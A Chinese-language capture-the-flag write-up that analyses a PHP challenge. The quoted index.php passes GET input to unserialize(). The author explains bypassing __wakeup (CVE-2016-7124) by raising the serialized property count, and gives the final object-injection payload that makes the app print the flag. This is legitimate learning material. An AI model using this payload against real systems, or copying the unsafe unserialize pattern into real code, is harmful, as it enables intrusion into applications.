源码备份在www.zip
中。下载以后有五个文件
class.php
flag.php
index.js
index.php
style.css
在index.php中有一段代码
<?php
include 'class.php';
$select = $_GET['select'];
$res=unserialize(@$select);
?>
再结合又一个class.php,所以这道题考点应该是反序列化。
class.php
<?php
include 'flag.php';
error_reporting(0);
class Name{
private $username = 'nonono';
private $password = 'yesyes';
public function __construct($username,$password){
$this->username = $username;
$this->password = $password;
}
function __wakeup(){
$this->username = 'guest';
}
function __destruct(){
if ($this->password != 100) {
echo "</br>NO!!!hacker!!!</br>";
echo "You name is: ";
echo $this->username;echo "</br>";
echo "You password is: ";
echo $this->password;echo "</br>";
die();
}
if ($this->username === 'admin') {
global $flag;
echo $flag;
}else{
echo "</br>hello my friend~~</br>sorry i can't give you the flag!";
die();
}
}
}
?>
获取flag的代码位置是30-32行。分析这个Name对象,创建对象时可以为对象赋值,对象销毁时会判断password值是否是100,且username值是否为admin,如果两者都成立输出flag,但是__wakeup()会在反序列化时调用将username值置为guest,所以需要反序列化逃逸。这里面有反序列化讲解CVE-2016-7124漏洞复现
我使用的构造对象
<?php
class Name{
private $username ='admin';
private $password ='100';
}
$a = new Name;
echo serialize($a);
O:4:"Name":2:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";s:3:"100";}
反序列化逃逸,使对象属性的数量大于原来的值,就可以绕过wakeup函数。最终payload
?select=O:4:"Name":3:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";s:3:"100";}